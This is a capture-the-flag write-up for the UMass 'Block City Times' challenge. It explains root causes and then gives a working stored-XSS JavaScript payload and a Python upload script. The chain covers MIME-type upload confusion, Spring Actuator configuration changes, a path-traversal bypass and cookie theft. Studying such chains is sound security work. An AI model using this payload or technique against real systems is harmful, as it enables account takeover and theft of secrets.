The Block City Times
umasscybersec
Task: a token-gated news site chained a Flask launcher, a Spring Boot app, admin bots, file upload, and Actuator exposure. Solution: upload HTML as text/plain for stored XSS, switch the app into dev mode, abuse the report runner, and exfiltrate the FLAG cookie through article tags.
$ ls tags/ techniques/
The Block City Times — UMass Cybersecurity CTF
Challenge Summary
Organizer description was not preserved in the local task files.
The public entrypoint was a Flask and gunicorn gate that required a team-specific CTFd access token to spawn a per-team instance. After creating a live instance, the real target was a Spring Boot news site with file submission, an authenticated editorial bot, Actuator endpoints, and a developer report feature that only appeared in dev mode.
The final exploit was a chained web attack: upload an .html file while claiming text/plain, get stored XSS in the editorial bot, use that admin session to switch app.active-config to dev, trigger the report runner on /api/../files/<payload>, and reuse the same payload in the report-runner browser where a FLAG cookie was present. The flag was exfiltrated by overwriting article 1 tags through the authenticated API.
Reconnaissance
Local validation with docker compose up -d --build reproduced the challenge stack and made the attack path easy to verify before running it remotely. The source tree showed two important components:
- A public Flask gate that created a team-specific host after a valid CTFd token was supplied.
- A Spring Boot application behind that gate, plus two Puppeteer bots: an editorial bot for uploaded stories and a report-runner service for developer diagnostics.
Reading StoryController.java showed that /submit only validated MultipartFile.getContentType() against app.outbound.allowed-types, which included text/plain and application/pdf. However, /files/{filename} later served uploads using Files.probeContentType(filePath), so the response type was recalculated from the stored filename instead of the original claimed type.
That meant a file uploaded as text/plain but named something.html would be accepted by the upload filter and later rendered as text/html when the bot visited /files/<filename>. Because /files/** was admin-only and the editorial bot was authenticated, this was a stored XSS primitive in an admin browser.
Further review showed a second bug chain. SecurityConfig.java placed Actuator endpoints in a separate filter chain guarded by HTTP Basic, while the normal site used form login. In practice, an already authenticated admin session could still reach /actuator/env and /actuator/refresh. application.yml enabled POST support on the env endpoint, and ReportController.java showed that /admin/report became usable only when app.active-config == dev.
Finally, the report endpoint validation only checked endpoint.startsWith("/api/"). Supplying /api/../files/<filename> satisfied that check, but the backend browser normalized the path and ultimately fetched /files/<filename> instead.
Root Cause
The challenge was solvable because several individually bad decisions composed into one exploit chain:
-
Upload validation trusted attacker-controlled MIME metadata.
/submitaccepted files based on the client-supplied content type instead of the eventual served type. -
The served content type was recomputed from the filename.
Files.probeContentType()treated an uploaded.htmlfile astext/html, turning a supposedly safe text upload into active HTML and JavaScript. -
An authenticated bot viewed attacker-controlled content. The editorial bot logged in as admin and visited
/files/<filename>, so stored XSS executed with admin privileges. -
Spring Actuator allowed runtime configuration changes. POSTing
{"name":"app.active-config","value":"dev"}to/actuator/envand then calling/actuator/refreshswitched the application into dev mode. -
The report feature trusted a weak prefix check.
/admin/reportonly required the supplied endpoint to start with/api/, so/api/../files/<filename>bypassed the intent after path normalization. -
The report-runner browser held the flag in a cookie.
report-api.jslogged in as admin, setFLAG=<secret>, and then visited the attacker-chosen endpoint. Revisiting our uploaded HTML caused the payload to execute again in a browser that now had the flag.
Exploitation Chain
1. Create a live instance
The public challenge URL did not expose the Spring app directly. First, a team-specific CTFd token had to be submitted to the Flask gate to launch a dedicated instance. That token is intentionally omitted here; only the resulting per-team host is needed for the remaining steps.
2. Upload HTML while claiming text/plain
The upload endpoint accepted our file because the multipart part declared Content-Type: text/plain, which matched the allowlist. The stored filename still ended in .html, so a later request to /files/<filename> was served as text/html.
Why it works: validation happened on MultipartFile.getContentType(), but execution happened after Files.probeContentType() reclassified the same file by extension.
3. Let the editorial bot trigger stored XSS
After each submission, the server notified the editorial Puppeteer bot, which logged in as admin and visited /files/<filename>. That made our uploaded HTML execute in an authenticated admin context.
As a harmless execution marker, the first stage changed article 1 tags to stage1 through PUT /api/tags/article/1. Seeing that value remotely confirmed that stored XSS worked.
Why it works: /files/** is restricted to admins, but the bot already had an admin session, so the browser executed attacker-controlled HTML with access to authenticated same-origin requests.
4. Flip the app into dev mode
From the editorial bot session, the payload sent:
POST /actuator/envwith{"name":"app.active-config","value":"dev"}POST /actuator/refresh
Then it repeatedly fetched /admin until the dev-only reporting form appeared and extracted the CSRF token from the HTML.
Why it works: Actuator env writes changed the runtime property source, and refresh caused Spring to reload configuration-dependent beans so the admin dashboard exposed the developer reporting form.
5. Reach our uploaded file through the report runner
The payload submitted /admin/report with:
endpoint=/api/../files/<payload_filename>
This passed the startsWith("/api/") check in ReportController, but the browser ultimately requested /files/<payload_filename> after path normalization.
Why it works: the validation checked the raw string, not the normalized path that the downstream fetch actually resolved.
6. Re-execute the payload in the FLAG-bearing browser
The report-runner service logged in as admin, set a FLAG cookie, and visited the supplied endpoint. Since that endpoint normalized to our uploaded HTML, the same JavaScript ran again, now with document.cookie containing FLAG=....
The final successful exfiltration method used the authenticated admin session to overwrite article 1 tags via PUT /api/tags/article/1. Polling that API from outside the bot then revealed the flag.
Why it works: the report-runner browser and the target page shared origin, so JavaScript on the uploaded file could read document.cookie and make same-origin authenticated API calls.
Sanitized Payload
The core browser payload below is a sanitized version of the successful exploit. It contains no private token and assumes only that you already have a live per-team instance.
<!doctype html> <html> <body> <script> const sleep = ms => new Promise(r => setTimeout(r, ms)); async function setTags(...tags) { await fetch('/api/tags/article/1', { method: 'PUT', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(tags) }); } function getCsrf(html) { return ((html.match(/name="_csrf" value="([^"]+)"/) || [])[1] || null); } (async () => { const flagPair = document.cookie.split(/;\s*/).find(v => v.startsWith('FLAG=')); if (flagPair) { await setTags(decodeURIComponent(flagPair.slice(5))); return; } await setTags('stage1'); await fetch('/actuator/env', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ name: 'app.active-config', value: 'dev' }) }); await fetch('/actuator/refresh', { method: 'POST', credentials: 'same-origin' }); let csrf = null; for (let i = 0; i < 20; i++) { await sleep(1000); const html = await fetch('/admin', { credentials: 'same-origin' }).then(r => r.text()); csrf = getCsrf(html); if (csrf && html.includes('name="endpoint"')) break; csrf = null; } if (!csrf) { await setTags('NO_CSRF'); return; } const filename = location.pathname.split('/').pop(); const body = new URLSearchParams(); body.set('_csrf', csrf); body.set('endpoint', '/api/../files/' + filename); await fetch('/admin/report', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: body.toString() }); })(); </script> </body> </html>
Exploit Script
The Python helper below uploads the HTML payload as text/plain and then polls article 1 tags until the flag appears. The token-gated instance creation step is intentionally left out; create the per-team host first, then pass that instance URL to the script.
#!/usr/bin/env python3 import io import re import sys import time import requests if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <instance_base_url> <payload.html>") sys.exit(1) BASE = sys.argv[1].rstrip('/') PAYLOAD_PATH = sys.argv[2] SESSION = requests.Session() with open(PAYLOAD_PATH, 'rb') as f: payload = f.read() files = { 'file': ('story.html', io.BytesIO(payload), 'text/plain'), } data = { 'title': 'Late-breaking submission', 'author': 'guest reporter', 'description': 'sanitized exploit upload', } resp = SESSION.post(f"{BASE}/submit", data=data, files=files, timeout=20) resp.raise_for_status() print('[+] Payload uploaded; waiting for bot activity') for _ in range(90): time.sleep(2) r = SESSION.get(f"{BASE}/api/tags/article/1", timeout=10) r.raise_for_status() body = r.text m = re.search(r'UMASS\{[^}]+\}', body) if m: print('[+] Flag:', m.group(0)) break if 'stage1' in body: print('[+] Stored XSS confirmed; waiting for second-stage bot visit') else: print('[-] Flag not observed yet')
Local Validation
Running docker compose up -d --build successfully launched the local stack. Local testing reproduced the same chain and showed the placeholder report-runner flag UMASS{changed_on_remote}, which confirmed the exploit before targeting the remote instance.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md